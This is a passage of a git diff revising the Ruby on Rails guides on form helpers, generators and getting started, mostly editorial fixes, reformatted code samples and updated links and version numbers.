+The Article model is directly available to users of the application, so - following the best practices for developing with Rails - you should declare it **a resource**:
```ruby
resources :articles
@@ -328,7 +342,7 @@ If you have created namespaced routes, `form_for` has a nifty shorthand for that
form_for [:admin, @article]
```
-will create a form that submits to the articles controller inside the admin namespace (submitting to `admin_article_path(@article)` in the case of an update). If you have several levels of namespacing then the syntax is similar:
+will create a form that submits to the `ArticlesController` inside the admin namespace (submitting to `admin_article_path(@article)` in the case of an update). If you have several levels of namespacing then the syntax is similar:
```ruby
form_for [:admin, :management, @article]
@@ -381,7 +395,7 @@ Here you have a list of cities whose names are presented to the user. Internally
### The Select and Option Tags
-The most generic helper is `select_tag`, which — as the name implies — simply generates the `SELECT` tag that encapsulates an options string:
+The most generic helper is `select_tag`, which - as the name implies - simply generates the `SELECT` tag that encapsulates an options string:
```erb
<%= select_tag(:city_id, '<option value="1">Lisbon</option>...') %>
@@ -421,14 +435,19 @@ output:
Whenever Rails sees that the internal value of an option being generated matches this value, it will add the `selected` attribute to that option.
-TIP: The second argument to `options_for_select` must be exactly equal to the desired internal value. In particular if the value is the integer 2 you cannot pass "2" to `options_for_select` — you must pass 2. Be aware of values extracted from the `params` hash as they are all strings.
+TIP: The second argument to `options_for_select` must be exactly equal to the desired internal value. In particular if the value is the integer 2 you cannot pass "2" to `options_for_select` - you must pass 2. Be aware of values extracted from the `params` hash as they are all strings.
WARNING: when `:include_blank` or `:prompt` are not present, `:include_blank` is forced true if the select attribute `required` is true, display `size` is one and `multiple` is not true.
You can add arbitrary attributes to the options using hashes:
```html+erb
-<%= options_for_select([['Lisbon', 1, {'data-size' => '2.8 million'}], ['Madrid', 2, {'data-size' => '3.2 million'}]], 2) %>
+<%= options_for_select(
+ [
+ ['Lisbon', 1, { 'data-size' => '2.8 million' }],
+ ['Madrid', 2, { 'data-size' => '3.2 million' }]
+ ], 2
+) %>
output:
@@ -451,7 +470,7 @@ In most cases form controls will be tied to a specific database model and as you
<%= select(:person, :city_id, [['Lisbon', 1], ['Madrid', 2], ...]) %>
```
-Notice that the third parameter, the options array, is the same kind of argument you pass to `options_for_select`. One advantage here is that you don't have to worry about pre-selecting the correct city if the user already has one — Rails will do this for you by reading from the `@person.city_id` attribute.
+Notice that the third parameter, the options array, is the same kind of argument you pass to `options_for_select`. One advantage here is that you don't have to worry about pre-selecting the correct city if the user already has one - Rails will do this for you by reading from the `@person.city_id` attribute.
As with other helpers, if you were to use the `select` helper on a form builder scoped to the `@person` object, the syntax would be:
@@ -460,6 +479,16 @@ As with other helpers, if you were to use the `select` helper on a form builder
<%= f.select(:city_id, ...) %>
```
+You can also pass a block to `select` helper:
+
+```erb
+<%= f.select(:city_id) do %>
+ <% [['Lisbon', 1], ['Madrid', 2]].each do |c| -%>
+ <%= content_tag(:option, c.first, value: c.last) %>
+ <% end %>
+<% end %>
+```
+
WARNING: If you are using `select` (or similar helpers such as `collection_select`, `select_tag`) to set a `belongs_to` association you must pass the name of the foreign key (in the example above `city_id`), not the name of association itself. If you specify `city` instead of `city_id` Active Record will raise an error along the lines of ` ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750) ` when you pass the `params` hash to `Person.new` or `update`. Another way of looking at this is that form helpers only edit attributes. You should also be aware of the potential security ramifications of allowing users to edit foreign keys directly.
### Option Tags from a Collection of Arbitrary Objects
@@ -553,7 +582,7 @@ outputs (with actual option values omitted for brevity)
which results in a `params` hash like
```ruby
-{:person => {'birth_date(1i)' => '2008', 'birth_date(2i)' => '11', 'birth_date(3i)' => '22'}}
+{'person' => {'birth_date(1i)' => '2008', 'birth_date(2i)' => '11', 'birth_date(3i)' => '22'}}
```
When this is passed to `Person.new` (or `update`), Active Record spots that these parameters should all be used to construct the `birth_date` attribute and uses the suffixed information to determine in which order it should pass these parameters to functions such as `Date.civil`.
@@ -605,7 +634,7 @@ The object in the `params` hash is an instance of a subclass of IO. Depending on
```ruby
def upload
uploaded_io = params[:person][:picture]
- File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'w') do |file|
+ File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'wb') do |file|
file.write(uploaded_io.read)
end
end
@@ -664,7 +693,7 @@ Understanding Parameter Naming Conventions
As you've seen in the previous sections, values from forms can be at the top level of the `params` hash or nested in another hash. For example in a standard `create`
action for a Person model, `params[:person]` would usually be a hash of all the attributes for the person to create. The `params` hash can also contain arrays, arrays of hashes and so on.
-Fundamentally HTML forms don't know about any sort of structured data, all they generate is name–value pairs, where pairs are just plain strings. The arrays and hashes you see in your application are the result of some parameter naming conventions that Rails uses.
+Fundamentally HTML forms don't know about any sort of structured data, all they generate is name-value pairs, where pairs are just plain strings. The arrays and hashes you see in your application are the result of some parameter naming conventions that Rails uses.
TIP: You may find you can try out examples in this section faster by using the console to directly invoke Racks' parameter parser. For example,
@@ -737,7 +766,7 @@ You might want to render a form with a set of edit fields for each of a person's
<%= form_for @person do |person_form| %>
<%= person_form.text_field :name %>
<% @person.addresses.each do |address| %>
- <%= person_form.fields_for address, index: address do |address_form|%>
+ <%= person_form.fields_for address, index: address.id do |address_form|%>
<%= address_form.text_field :city %>
<% end %>
<% end %>
@@ -760,9 +789,16 @@ This will result in a `params` hash that looks like
{'person' => {'name' => 'Bob', 'address' => {'23' => {'city' => 'Paris'}, '45' => {'city' => 'London'}}}}
```
-Rails knows that all these inputs should be part of the person hash because you called `fields_for` on the first form builder. By specifying an `:index` option you're telling Rails that instead of naming the inputs `person[address][city]` it should insert that index surrounded by [] between the address and the city. If you pass an Active Record object as we did then Rails will call `to_param` on it, which by default returns the database id. This is often useful as it is then easy to locate which Address record should be modified. You can pass numbers with some other significance, strings or even `nil` (which will result in an array parameter being created).
+Rails knows that all these inputs should be part of the person hash because you
+called `fields_for` on the first form builder. By specifying an `:index` option
+you're telling Rails that instead of naming the inputs `person[address][city]`
+it should insert that index surrounded by [] between the address and the city.
+This is often useful as it is then easy to locate which Address record
+should be modified. You can pass numbers with some other significance,
+strings or even `nil` (which will result in an array parameter being created).
-To create more intricate nestings, you can specify the first part of the input name (`person[address]` in the previous example) explicitly, for example
+To create more intricate nestings, you can specify the first part of the input
+name (`person[address]` in the previous example) explicitly:
```erb
<%= fields_for 'person[address][primary]', address, index: address do |address_form| %>
@@ -788,21 +824,21 @@ As a shortcut you can append [] to the name and omit the `:index` option. This i
produces exactly the same output as the previous example.
-Forms to external resources
+Forms to External Resources
---------------------------
-If you need to post some data to an external resource it is still great to build your form using rails form helpers. But sometimes you need to set an `authenticity_token` for this resource. You can do it by passing an `authenticity_token: 'your_external_token'` parameter to the `form_tag` options:
+Rails' form helpers can also be used to build a form for posting data to an external resource. However, at times it can be necessary to set an `authenticity_token` for the resource; this can be done by passing an `authenticity_token: 'your_external_token'` parameter to the `form_tag` options:
```erb
-<%= form_tag 'http://farfar.away/form', authenticity_token: 'external_token') do %>
+<%= form_tag 'http://farfar.away/form', authenticity_token: 'external_token' do %>
Form contents
<% end %>
```
-Sometimes when you submit data to an external resource, like payment gateway, fields you can use in your form are limited by an external API. So you may want not to generate an `authenticity_token` hidden field at all. For doing this just pass `false` to the `:authenticity_token` option:
+Sometimes when submitting data to an external resource, like a payment gateway, the fields that can be used in the form are limited by an external API and it may be undesirable to generate an `authenticity_token`. To not send a token, simply pass `false` to the `:authenticity_token` option:
```erb
-<%= form_tag 'http://farfar.away/form', authenticity_token: false) do %>
+<%= form_tag 'http://farfar.away/form', authenticity_token: false do %>
Form contents
<% end %>
```
@@ -845,7 +881,7 @@ end
This creates an `addresses_attributes=` method on `Person` that allows you to create, update and (optionally) destroy addresses.
-### Building the Form
+### Nested Forms
The following form allows a user to create a `Person` and its associated addresses.
@@ -868,38 +904,40 @@ The following form allows a user to create a `Person` and its associated address
```
-When an association accepts nested attributes `fields_for` renders its block once for every element of the association. In particular, if a person has no addresses it renders nothing. A common pattern is for the controller to build one or more empty children so that at least one set of fields is shown to the user. The example below would result in 3 sets of address fields being rendered on the new person form.
+When an association accepts nested attributes `fields_for` renders its block once for every element of the association. In particular, if a person has no addresses it renders nothing. A common pattern is for the controller to build one or more empty children so that at least one set of fields is shown to the user. The example below would result in 2 sets of address fields being rendered on the new person form.
```ruby
def new
@person = Person.new
- 3.times { @person.addresses.build}
+ 2.times { @person.addresses.build}
end
```
-`fields_for` yields a form builder that names parameters in the format expected the accessor generated by `accepts_nested_attributes_for`. For example when creating a user with 2 addresses, the submitted parameters would look like
+The `fields_for` yields a form builder. The parameters' name will be what
+`accepts_nested_attributes_for` expects. For example when creating a user with
+2 addresses, the submitted parameters would look like:
```ruby
{
- :person => {
- :name => 'John Doe',
- :addresses_attributes => {
- '0' => {
- :kind => 'Home',
- :street => '221b Baker Street',
- },
- '1' => {
- :kind => 'Office',
- :street => '31 Spooner Street'
- }
- }
+ 'person' => {
+ 'name' => 'John Doe',
+ 'addresses_attributes' => {
+ '0' => {
+ 'kind' => 'Home',
+ 'street' => '221b Baker Street'
+ },
+ '1' => {
+ 'kind' => 'Office',
+ 'street' => '31 Spooner Street'
+ }
}
+ }
}
```
The keys of the `:addresses_attributes` hash are unimportant, they need merely be different for each address.
-If the associated object is already saved, `fields_for` autogenerates a hidden input with the `id` of the saved record. You can disable this by passing `include_id: false` to `fields_for`. You may wish to do this if the autogenerated input is placed in a location where an input tag is not valid HTML or when using an ORM where children do not have an id.
+If the associated object is already saved, `fields_for` autogenerates a hidden input with the `id` of the saved record. You can disable this by passing `include_id: false` to `fields_for`. You may wish to do this if the autogenerated input is placed in a location where an input tag is not valid HTML or when using an ORM where children do not have an `id`.
### The Controller
@@ -914,9 +952,9 @@ def create
end
private
-def person_params
- params.require(:person).permit(:name, addresses_attributes: [:id, :kind, :street])
-end
+ def person_params
+ params.require(:person).permit(:name, addresses_attributes: [:id, :kind, :street])
+ end
```
### Removing Objects
@@ -930,7 +968,9 @@ class Person < ActiveRecord::Base
end
```
-If the hash of attributes for an object contains the key `_destroy` with a value of '1' or 'true' then the object will be destroyed. This form allows users to remove addresses:
+If the hash of attributes for an object contains the key `_destroy` with a value
+of `1` or `true` then the object will be destroyed. This form allows users to
+remove addresses:
```erb
<%= form_for @person do |f| %>
@@ -938,7 +978,7 @@ If the hash of attributes for an object contains the key `_destroy` with a value
<ul>
<%= f.fields_for :addresses do |addresses_form| %>
<li>
- <%= check_box :_destroy%>
+ <%= addresses_form.check_box :_destroy%>
<%= addresses_form.label :kind %>
<%= addresses_form.text_field :kind %>
...
@@ -973,4 +1013,4 @@ As a convenience you can instead pass the symbol `:all_blank` which will create
### Adding Fields on the Fly
-Rather than rendering multiple sets of fields ahead of time you may wish to add them only when a user clicks on an 'Add new child' button. Rails does not provide any builtin support for this. When generating new sets of fields you must ensure the key of the associated array is unique - the current javascript date (milliseconds after the epoch) is a common choice.
+Rather than rendering multiple sets of fields ahead of time you may wish to add them only when a user clicks on an 'Add new address' button. Rails does not provide any built-in support for this. When generating new sets of fields you must ensure the key of the associated array is unique - the current JavaScript date (milliseconds after the epoch) is a common choice.
diff --git a/guides/source/generators.md b/guides/source/generators.md
index a8a34d0ac4..4a5377c206 100644
--- a/guides/source/generators.md
+++ b/guides/source/generators.md
@@ -35,7 +35,7 @@ $ rails generate helper --help
Creating Your First Generator
-----------------------------
-Since Rails 3.0, generators are built on top of [Thor](https://github.com/wycats/thor). Thor provides powerful options parsing and a great API for manipulating files. For instance, let's build a generator that creates an initializer file named `initializer.rb` inside `config/initializers`.
+Since Rails 3.0, generators are built on top of [Thor](https://github.com/erikhuda/thor). Thor provides powerful options parsing and a great API for manipulating files. For instance, let's build a generator that creates an initializer file named `initializer.rb` inside `config/initializers`.
The first step is to create a file at `lib/generators/initializer_generator.rb` with the following content:
@@ -47,7 +47,7 @@ class InitializerGenerator < Rails::Generators::Base
end
```
-NOTE: `create_file` is a method provided by `Thor::Actions`. Documentation for `create_file` and other Thor methods can be found in [Thor's documentation](http://rdoc.info/github/wycats/thor/master/Thor/Actions.html)
+NOTE: `create_file` is a method provided by `Thor::Actions`. Documentation for `create_file` and other Thor methods can be found in [Thor's documentation](http://rdoc.info/github/erikhuda/thor/master/Thor/Actions.html)
Our new generator is quite simple: it inherits from `Rails::Generators::Base` and has one method definition. When a generator is invoked, each public method in the generator is executed sequentially in the order that it is defined. Finally, we invoke the `create_file` method that will create a file at the given destination with the given content. If you are familiar with the Rails Application Templates API, you'll feel right at home with the new generators API.
@@ -171,7 +171,7 @@ Before we customize our workflow, let's first see what our scaffold looks like:
```bash
$ rails generate scaffold User name:string
invoke active_record
- create db/migrate/20091120125558_create_users.rb
+ create db/migrate/20130924151154_create_users.rb
create app/models/user.rb
invoke test_unit
create test/models/user_test.rb
@@ -193,6 +193,9 @@ $ rails generate scaffold User name:string
create app/helpers/users_helper.rb
invoke test_unit
create test/helpers/users_helper_test.rb
+ invoke jbuilder
+ create app/views/users/index.json.jbuilder
+ create app/views/users/show.json.jbuilder
invoke assets
invoke coffee
create app/assets/javascripts/users.js.coffee
@@ -204,7 +207,7 @@ $ rails generate scaffold User name:string
Looking at this output, it's easy to understand how generators work in Rails 3.0 and above. The scaffold generator doesn't actually generate anything, it just invokes others to do the work. This allows us to add/replace/remove any of those invocations. For instance, the scaffold generator invokes the scaffold_controller generator, which invokes erb, test_unit and helper generators. Since each generator has a single responsibility, they are easy to reuse, avoiding code duplication.
-Our first customization on the workflow will be to stop generating stylesheets and test fixtures for scaffolds. We can achieve that by changing our configuration to the following:
+Our first customization on the workflow will be to stop generating stylesheets, javascripts and test fixtures for scaffolds. We can achieve that by changing our configuration to the following:
```ruby
config.generators do |g|
@@ -212,20 +215,28 @@ config.generators do |g|
g.template_engine :erb
g.test_framework :test_unit, fixture: false
g.stylesheets false
+ g.javascripts false
end
```
-If we generate another resource with the scaffold generator, we can see that neither stylesheets nor fixtures are created anymore. If you want to customize it further, for example to use DataMapper and RSpec instead of Active Record and TestUnit, it's just a matter of adding their gems to your application and configuring your generators.
+If we generate another resource with the scaffold generator, we can see that stylesheets, javascripts and fixtures are not created anymore. If you want to customize it further, for example to use DataMapper and RSpec instead of Active Record and TestUnit, it's just a matter of adding their gems to your application and configuring your generators.
To demonstrate this, we are going to create a new helper generator that simply adds some instance variable readers. First, we create a generator within the rails namespace, as this is where rails searches for generators used as hooks:
```bash
$ rails generate generator rails/my_helper
+ create lib/generators/rails/my_helper
+ create lib/generators/rails/my_helper/my_helper_generator.rb
+ create lib/generators/rails/my_helper/USAGE
+ create lib/generators/rails/my_helper/templates
```
-After that, we can delete both the `templates` directory and the `source_root` class method from our new generators, because we are not going to need them. So our new generator looks like the following:
+After that, we can delete both the `templates` directory and the `source_root`
+class method call from our new generator, because we are not going to need them.
+Add the method below, so our generator looks like the following:
```ruby
+# lib/generators/rails/my_helper/my_helper_generator.rb
class Rails::MyHelperGenerator < Rails::Generators::NamedBase
def create_helper_file
create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
@@ -241,6 +252,7 @@ We can try out our new generator by creating a helper for users:
```bash
$ rails generate my_helper products
+ create app/helpers/products_helper.rb
```
And it will generate the following helper file in `app/helpers`:
@@ -259,6 +271,7 @@ config.generators do |g|
g.template_engine :erb
g.test_framework :test_unit, fixture: false
g.stylesheets false
+ g.javascripts false
g.helper :my_helper
end
```
@@ -279,6 +292,7 @@ Since Rails 3.0, this is easy to do due to the hooks concept. Our new helper doe
To do that, we can change the generator this way:
```ruby
+# lib/generators/rails/my_helper/my_helper_generator.rb
class Rails::MyHelperGenerator < Rails::Generators::NamedBase
def create_helper_file
create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
@@ -322,6 +336,7 @@ config.generators do |g|
g.template_engine :erb
g.test_framework :test_unit, fixture: false
g.stylesheets false
+ g.javascripts false
end
```
@@ -340,6 +355,7 @@ config.generators do |g|
g.template_engine :erb
g.test_framework :shoulda, fixture: false
g.stylesheets false
+ g.javascripts false
# Add a fallback!
g.fallbacks[:shoulda] = :test_unit
@@ -351,7 +367,7 @@ Now, if you create a Comment scaffold, you will see that the shoulda generators
```bash
$ rails generate scaffold Comment body:text
invoke active_record
- create db/migrate/20091120151323_create_comments.rb
+ create db/migrate/20130924143118_create_comments.rb
create app/models/comment.rb
invoke shoulda
create test/models/comment_test.rb
@@ -373,6 +389,9 @@ $ rails generate scaffold Comment body:text
create app/helpers/comments_helper.rb
invoke shoulda
create test/helpers/comments_helper_test.rb
+ invoke jbuilder
+ create app/views/comments/index.json.jbuilder
+ create app/views/comments/show.json.jbuilder
invoke assets
invoke coffee
create app/assets/javascripts/comments.js.coffee
@@ -422,7 +441,7 @@ Generator methods
The following are methods available for both generators and templates for Rails.
-NOTE: Methods provided by Thor are not covered this guide and can be found in [Thor's documentation](http://rdoc.info/github/wycats/thor/master/Thor/Actions.html)
+NOTE: Methods provided by Thor are not covered this guide and can be found in [Thor's documentation](http://rdoc.info/github/erikhuda/thor/master/Thor/Actions.html)
### `gem`
@@ -541,7 +560,7 @@ This method also takes a block:
```ruby
vendor "seeds.rb" do
- "puts 'in ur app, seeding ur database'"
+ "puts 'in your app, seeding your database'"
end
```
diff --git a/guides/source/getting_started.md b/guides/source/getting_started.md
index 2574a2c111..389ffdac6e 100644
--- a/guides/source/getting_started.md
+++ b/guides/source/getting_started.md
@@ -21,19 +21,22 @@ application from scratch. It does not assume that you have any prior experience
with Rails. However, to get the most out of it, you need to have some
prerequisites installed:
-* The [Ruby](http://www.ruby-lang.org/en/downloads) language version 1.9.3 or newer
-* The [RubyGems](http://rubygems.org/) packaging system
- * To learn more about RubyGems, please read the [RubyGems User Guide](http://docs.rubygems.org/read/book/1)
-* A working installation of the [SQLite3 Database](http://www.sqlite.org)
+* The [Ruby](http://www.ruby-lang.org/en/downloads) language version 1.9.3 or newer.
+* The [RubyGems](http://rubygems.org) packaging system, which is installed with Ruby
+ versions 1.9 and later. To learn more about RubyGems, please read the [RubyGems Guides](http://guides.rubygems.org).
+* A working installation of the [SQLite3 Database](http://www.sqlite.org).
Rails is a web application framework running on the Ruby programming language.
If you have no prior experience with Ruby, you will find a very steep learning
-curve diving straight into Rails. There are some good free resources on the
-Internet for learning Ruby, including:
+curve diving straight into Rails. There are several curated lists of online resources
+for learning Ruby:
-* [Mr. Neighborly's Humble Little Ruby Book](http://www.humblelittlerubybook.com)
-* [Programming Ruby](http://www.ruby-doc.org/docs/ProgrammingRuby/)
-* [Why's (Poignant) Guide to Ruby](http://mislav.uniqpath.com/poignant-guide/)
+* [Official Ruby Programming Language website](https://www.ruby-lang.org/en/documentation/)
+* [reSRC's List of Free Programming Books](http://resrc.io/list/10/list-of-free-programming-books/#ruby)
+
+Be aware that some resources, while still excellent, cover versions of Ruby as old as
+1.6, and commonly 1.8, and will not include some syntax that you will see in day-to-day
+development with Rails.
What is Rails?
--------------
@@ -54,9 +57,13 @@ learned elsewhere, you may have a less happy experience.
The Rails philosophy includes two major guiding principles:
-* DRY - "Don't Repeat Yourself" - suggests that writing the same code over and over again is a bad thing.
-* Convention Over Configuration - means that Rails makes assumptions about what you want to do and how you're going to
-do it, rather than requiring you to specify every little thing through endless configuration files.
+* **Don't Repeat Yourself:** DRY is a principle of software development which
+ states that "Every piece of knowledge must have a single, unambiguous, authoritative
+ representation within a system." By not writing the same information over and over
+ again, our code is more maintainable, more extensible, and less buggy.
+* **Convention Over Configuration:** Rails has opinions about the best way to do many
+ things in a web application, and defaults to this set of conventions, rather than
+ require that you specify every minutiae through endless configuration files.
Creating a New Rails Project
----------------------------
@@ -71,9 +78,9 @@ By following along with this guide, you'll create a Rails project called
(very) simple weblog. Before you can start building the application, you need to
make sure that you have Rails itself installed.
-TIP: The examples below use `#` and `$` to denote superuser and regular
-user terminal prompts respectively in a UNIX-like OS. If you are using
-Windows, your prompt will look something like `c:\source_code>`
+TIP: The examples below use `$` to represent your terminal prompt in a UNIX-like OS,
+though it may have been customized to appear differently. If you are using Windows,
+your prompt will look something like `c:\source_code>`
### Installing Rails
@@ -82,104 +89,158 @@ Open up a command line prompt. On Mac OS X open Terminal.app, on Windows choose
dollar sign `$` should be run in the command line. Verify that you have a
current version of Ruby installed:
+TIP. A number of tools exist to help you quickly install Ruby and Ruby
+on Rails on your system. Windows users can use [Rails Installer](http://railsinstaller.org),
+while Mac OS X users can use [Tokaido](https://github.com/tokaido/tokaidoapp).
+
```bash
$ ruby -v
-ruby 1.9.3p385
+ruby 2.0.0p353
```
+If you don't have Ruby installed have a look at
+[ruby-lang.org](https://www.ruby-lang.org/en/installation/) for possible ways to
+install Ruby on your platform.
+
+Many popular UNIX-like OSes ship with an acceptable version of SQLite3. Windows
+users and others can find installation instructions at [the SQLite3 website](http://www.sqlite.org).
+Verify that it is correctly installed and in your PATH:
+
+```bash
+$ sqlite3 --version
+```
+
+The program should report its version.
+
To install Rails, use the `gem install` command provided by RubyGems:
```bash
$ gem install rails
```
-TIP. A number of tools exist to help you quickly install Ruby and Ruby
-on Rails on your system. Windows users can use [Rails Installer](http://railsinstaller.org), while Mac OS X users can use
-[Rails One Click](http://railsoneclick.com).
-
-To verify that you have everything installed correctly, you should be able to run the following:
+To verify that you have everything installed correctly, you should be able to
+run the following:
```bash
$ rails --version
```
-If it says something like "Rails 4.0.0", you are ready to continue.
+If it says something like "Rails 4.1.0", you are ready to continue.
### Creating the Blog Application
-Rails comes with a number of scripts called generators that are designed to make your development life easier by creating everything that's necessary to start working on a particular task. One of these is the new application generator, which will provide you with the foundation of a fresh Rails application so that you don't have to write it yourself.
+Rails comes with a number of scripts called generators that are designed to make
+your development life easier by creating everything that's necessary to start
+working on a particular task. One of these is the new application generator,
+which will provide you with the foundation of a fresh Rails application so that
+you don't have to write it yourself.
-To use this generator, open a terminal, navigate to a directory where you have rights to create files, and type:
+To use this generator, open a terminal, navigate to a directory where you have
+rights to create files, and type:
```bash
$ rails new blog
```
-This will create a Rails application called Blog in a directory called blog and install the gem dependencies that are already mentioned in `Gemfile` using `bundle install`.
+This will create a Rails application called Blog in a `blog` directory and
+install the gem dependencies that are already mentioned in `Gemfile` using
+`bundle install`.
-TIP: You can see all of the command line options that the Rails
-application builder accepts by running `rails new -h`.
+TIP: You can see all of the command line options that the Rails application
+builder accepts by running `rails new -h`.
-After you create the blog application, switch to its folder to continue work directly in that application:
+After you create the blog application, switch to its folder:
```bash
$ cd blog
```
-The `rails new blog` command we ran above created a folder in your
-working directory called `blog`. The `blog` directory has a number of
-auto-generated files and folders that make up the structure of a Rails
-application. Most of the work in this tutorial will happen in the `app/` folder, but here's a basic rundown on the function of each of the files and folders that Rails created by default:
+The `blog` directory has a number of auto-generated files and folders that make
+up the structure of a Rails application. Most of the work in this tutorial will
+happen in the `app` folder, but here's a basic rundown on the function of each
+of the files and folders that Rails created by default:
| File/Folder | Purpose |
| ----------- | ------- |
|app/|Contains the controllers, models, views, helpers, mailers and assets for your application. You'll focus on this folder for the remainder of this guide.|
|bin/|Contains the rails script that starts your app and can contain other scripts you use to deploy or run your application.|
-|config/|Configure your application's runtime rules, routes, database, and more. This is covered in more detail in [Configuring Rails Applications](configuring.html)|
+|config/|Configure your application's routes, database, and more. This is covered in more detail in [Configuring Rails Applications](configuring.html).|
|config.ru|Rack configuration for Rack based servers used to start the application.|
|db/|Contains your current database schema, as well as the database migrations.|
-|Gemfile<br />Gemfile.lock|These files allow you to specify what gem dependencies are needed for your Rails application. These files are used by the Bundler gem. For more information about Bundler, see [the Bundler website](http://gembundler.com) |
+|Gemfile<br>Gemfile.lock|These files allow you to specify what gem dependencies are needed for your Rails application. These files are used by the Bundler gem. For more information about Bundler, see [the Bundler website](http://gembundler.com).|
|lib/|Extended modules for your application.|
|log/|Application log files.|
-|public/|The only folder seen to the world as-is. Contains the static files and compiled assets.|
+|public/|The only folder seen by the world as-is. Contains static files and compiled assets.|
|Rakefile|This file locates and loads tasks that can be run from the command line. The task definitions are defined throughout the components of Rails. Rather than changing Rakefile, you should add your own tasks by adding files to the lib/tasks directory of your application.|
|README.rdoc|This is a brief instruction manual for your application. You should edit this file to tell others what your application does, how to set it up, and so on.|
-|test/|Unit tests, fixtures, and other test apparatus. These are covered in [Testing Rails Applications](testing.html)|
-|tmp/|Temporary files (like cache, pid and session files)|
-|vendor/|A place for all third-party code. In a typical Rails application, this includes Ruby Gems and the Rails source code (if you optionally install it into your project).|
+|test/|Unit tests, fixtures, and other test apparatus. These are covered in [Testing Rails Applications](testing.html).|
+|tmp/|Temporary files (like cache, pid, and session files).|
+|vendor/|A place for all third-party code. In a typical Rails application this includes vendored gems.|
Hello, Rails!
-------------
-To begin with, let's get some text up on screen quickly. To do this, you need to get your Rails application server running.
+To begin with, let's get some text up on screen quickly. To do this, you need to
+get your Rails application server running.
### Starting up the Web Server
-You actually have a functional Rails application already. To see it, you need to start a web server on your development machine. You can do this by running:
+You actually have a functional Rails application already. To see it, you need to
+start a web server on your development machine. You can do this by running the
+following in the `blog` directory:
```bash
$ rails server
```
-TIP: Compiling CoffeeScript to JavaScript requires a JavaScript runtime and the absence of a runtime will give you an `execjs` error. Usually Mac OS X and Windows come with a JavaScript runtime installed. Rails adds the `therubyracer` gem to Gemfile in a commented line for new apps and you can uncomment if you need it. `therubyrhino` is the recommended runtime for JRuby users and is added by default to Gemfile in apps generated under JRuby. You can investigate about all the supported runtimes at [ExecJS](https://github.com/sstephenson/execjs#readme).
+TIP: Compiling CoffeeScript to JavaScript requires a JavaScript runtime and the
+absence of a runtime will give you an `execjs` error. Usually Mac OS X and
+Windows come with a JavaScript runtime installed. Rails adds the `therubyracer`
+gem to the generated `Gemfile` in a commented line for new apps and you can
+uncomment if you need it. `therubyrhino` is the recommended runtime for JRuby
+users and is added by default to the `Gemfile` in apps generated under JRuby.
+You can investigate about all the supported runtimes at
+[ExecJS](https://github.com/sstephenson/execjs#readme).
-This will fire up WEBrick, a webserver built into Ruby by default. To see your application in action, open a browser window and navigate to <http://localhost:3000>. You should see the Rails default information page:
+This will fire up WEBrick, a web server distributed with Ruby by default. To see
+your application in action, open a browser window and navigate to
+<http://localhost:3000>. You should see the Rails default information page:
-![Welcome Aboard screenshot](images/getting_started/rails_welcome.png)
+![Welcome aboard screenshot](images/getting_started/rails_welcome.png)
-TIP: To stop the web server, hit Ctrl+C in the terminal window where it's running. To verify the server has stopped you should see your command prompt cursor again. For most UNIX-like systems including Mac OS X this will be a dollar sign `$`. In development mode, Rails does not generally require you to restart the server; changes you make in files will be automatically picked up by the server.
+TIP: To stop the web server, hit Ctrl+C in the terminal window where it's
+running. To verify the server has stopped you should see your command prompt
+cursor again. For most UNIX-like systems including Mac OS X this will be a
+dollar sign `$`. In development mode, Rails does not generally require you to
+restart the server; changes you make in files will be automatically picked up by
+the server.
-The "Welcome Aboard" page is the _smoke test_ for a new Rails application: it makes sure that you have your software configured correctly enough to serve a page. You can also click on the _About your application’s environment_ link to see a summary of your application's environment.
+The "Welcome aboard" page is the _smoke test_ for a new Rails application: it
+makes sure that you have your software configured correctly enough to serve a
+page. You can also click on the _About your application's environment_ link to
+see a summary of your application's environment.
### Say "Hello", Rails
-To get Rails saying "Hello", you need to create at minimum a _controller_ and a _view_.
+To get Rails saying "Hello", you need to create at minimum a _controller_ and a
+_view_.
-A controller's purpose is to receive specific requests for the application. _Routing_ decides which controller receives which requests. Often, there is more than one route to each controller, and different routes can be served by different _actions_. Each action's purpose is to collect information to provide it to a view.
+A controller's purpose is to receive specific requests for the application.
+_Routing_ decides which controller receives which requests. Often, there is more
+than one route to each controller, and different routes can be served by
+different _actions_. Each action's purpose is to collect information to provide
+it to a view.
-A view's purpose is to display this information in a human readable format. An important distinction to make is that it is the _controller_, not the view, where information is collected. The view should just display that information. By default, view templates are written in a language called ERB (Embedded Ruby) which is converted by the request cycle in Rails before being sent to the user.
+A view's purpose is to display this information in a human readable format. An
+important distinction to make is that it is the _controller_, not the view,
+where information is collected. The view should just display that information.
+By default, view templates are written in a language called eRuby (Embedded
+Ruby) which is processed by the request cycle in Rails before being sent to the
+user.
-To create a new controller, you will need to run the "controller" generator and tell it you want a controller called "welcome" with an action called "index", just like this:
+To create a new controller, you will need to run the "controller" generator and
+tell it you want a controller called "welcome" with an action called "index",
+just like this:
```bash
$ rails generate controller welcome index
@@ -189,7 +250,7 @@ Rails will create several files and a route for you.
```bash
create app/controllers/welcome_controller.rb
- route get "welcome/index"
+ route get 'welcome/index'
invoke erb
create app/views/welcome
create app/views/welcome/index.html.erb
@@ -206,9 +267,13 @@ invoke scss
create app/assets/stylesheets/welcome.css.scss
```
-Most important of these are of course the controller, located at `app/controllers/welcome_controller.rb` and the view, located at `app/views/welcome/index.html.erb`.
+Most important of these are of course the controller, located at
+`app/controllers/welcome_controller.rb` and the view, located at
+`app/views/welcome/index.html.erb`.
-Open the `app/views/welcome/index.html.erb` file in your text editor. Delete all of the existing code in the file, and replace it with the following single line of code:
+Open the `app/views/welcome/index.html.erb` file in your text editor. Delete all
+of the existing code in the file, and replace it with the following single line
+of code:
```html
<h1>Hello, Rails!</h1>
@@ -216,148 +281,232 @@ Open the `app/views/welcome/index.html.erb` file in your text editor. Delete all
### Setting the Application Home Page
-Now that we have made the controller and view, we need to tell Rails when we want Hello Rails! to show up. In our case, we want it to show up when we navigate to the root URL of our site, <http://localhost:3000>. At the moment, "Welcome Aboard" is occupying that spot.
+Now that we have made the controller and view, we need to tell Rails when we
+want "Hello, Rails!" to show up. In our case, we want it to show up when we
+navigate to the root URL of our site, <http://localhost:3000>. At the moment,
+"Welcome aboard" is occupying that spot.
Next, you have to tell Rails where your actual home page is located.
Open the file `config/routes.rb` in your editor.
```ruby
-Blog::Application.routes.draw do
- get "welcome/index"
+Rails.application.routes.draw do
+ get 'welcome/index'
# The priority is based upon order of creation:
# first created -> highest priority.
- # ...
